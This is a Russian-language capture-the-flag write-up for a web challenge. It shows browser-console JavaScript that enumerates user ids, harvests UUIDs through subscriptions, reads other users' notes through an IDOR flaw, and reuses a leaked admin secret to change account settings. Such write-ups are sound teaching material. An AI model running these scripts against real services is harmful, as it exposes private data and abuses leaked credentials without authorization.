April 26

Плюсвайбер

CTF: АльфаЦТФ2026

Категория: Web

Теги: Easy

Трек: IT-трек

Автор: mayb3_s0m3t1m3

Суть: IDOR (Insecure Direct Object Reference) через утечку UUID из подписок. Отсутствие авторизации на уровне сервера: API не проверяет, принадлежит ли запрашиваемый UUID текущему пользователю.

Откроем DevTools → Sources → JS → app.js

Вapp.js можно увидеть следующее:

const notes = await api('GET', `/users/${currentUser.uuid}/notes`);

и выше:

currentUser = await api('GET', '/me');

То есть, используется uuid пользователя, а не id, а это значит, что API ожидает

 /users/<uuid>/notes

В условии сказано: "создатель записал у себя в заметках". Но как нам получить чужие заметки?

Обратимся к коду.Фронт сам подставляет currentUser.uuid, но ничто не помешает вручную вызвать API с другим UUID

Откроем DevTools → Console. В консоли выполним:

fetch('/api/users/1/notes', {
  headers: { Authorization: 'Bearer ' + localStorage.getItem('token') }
 }).then(r => r.json()).then(console.log)

Проверим свой UUID:

currentUser

Числовой /api/users закрыт, но в app.js есть важный момент: посты открываются по числовому id /users/${userId}/posts, а заметки — по uuid /users/${currentUser.uuid}/notes.

Пробуем получить uuid создателя через подписки. Для этого подпишемся на пользователей с маленькими id – среди них должен быть искомый.

(async () => {
  const H = {
  Authorization: 'Bearer ' + localStorage.getItem('token'),
  'Content-Type': 'application/json'
  };
   
for (let id = 1; id <= 50; id++) {
  const r = await fetch('/api/subscribe', {
  method: 'POST',
  headers: H,
  body: JSON.stringify({ user_id: id })
  });
  const txt = await r.text();
  if (r.status !== 404) console.log(id, r.status, txt);
  }
 })();

И выведем наши подписки:

fetch('/api/subscriptions', {
  headers: { Authorization: 'Bearer ' + localStorage.getItem('token') }
 }).then(r => r.json()).then(console.log)

Отлично, там 50 подписок и 50 user.uuid. Теперь надо перебрать заметки по всем user.uuid из подписок:

(async () => {
  const H = { Authorization: 'Bearer ' + localStorage.getItem('token') };
  const subs = await fetch('/api/subscriptions', { headers: H }).then(r => r.json());
  for (const s of subs) {
  const u = s.user;
  const uuid = u.uuid;
  if (!uuid) continue;
  const r = await fetch(`/api/users/${uuid}/notes`, { headers: H });
  const text = await r.text();
  if (r.status === 200 && text !== '[]') {
  console.log('FOUND USER:', u);
  console.log(text);
  }
  }
 })();

Из всех выведенных заметок нас интересует содержимое этой:

[{"uuid":"be496f04-a6d6-4146-98e0-ea1893b77496","title":"TODO бэкенд","content":"- починить rate limiter (иногда пропускает)\n- добавить логирование в middleware\n- разобраться с CORS для мобильного клиента\n- обновить зависимости (sqlalchemy 2.1?)","created_at":"2026-03-16T18:00:00"},{"uuid":"b87f348c-0c6f-4948-a09f-24b3b6ae43ff","title":"Серверные дела","content":"IP сервера: 10.0.0.42\nSSH: ssh admin@plusviber.internal\nPostgres: порт 5432, юзер plusviber\nБэкапы: каждый день в 3:00 UTC\n\nCaddy конфиг: /etc/caddy/Caddyfile","created_at":"2026-03-15T23:30:00"},{"uuid":"4230e9ed-3b58-429e-901b-d21f8cd57d4f","title":"Настройки замедления","content":"Заметка для себя:\n\nКоллеги по офису часто просят отменить им замедление. Вот апишка, чтобы не забыть\n\n/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\n","created_at":"2026-03-15T19:15:00"}]

Нет сомнений, что мы нашли именно нужную заметку админа. API можно взять из неё:

fetch('/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6', {
  headers: { Authorization: 'Bearer ' + localStorage.getItem('token') }
 })
 .then(r => r.text())
 .then(console.log)

Получим:

{"user_id":2018,"is_slowed":true}

Если API возвращает именно такой формат, значит, структура ожидается такая же:

fetch('/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6', {

method: 'POST',

headers: {

Authorization: 'Bearer ' + localStorage.getItem('token'),

'Content-Type': 'application/json'

},

body: JSON.stringify({

user_id: 2018,

is_slowed: false

})

})

.then(r => r.text())

.then(console.log)

И мы получили флаг!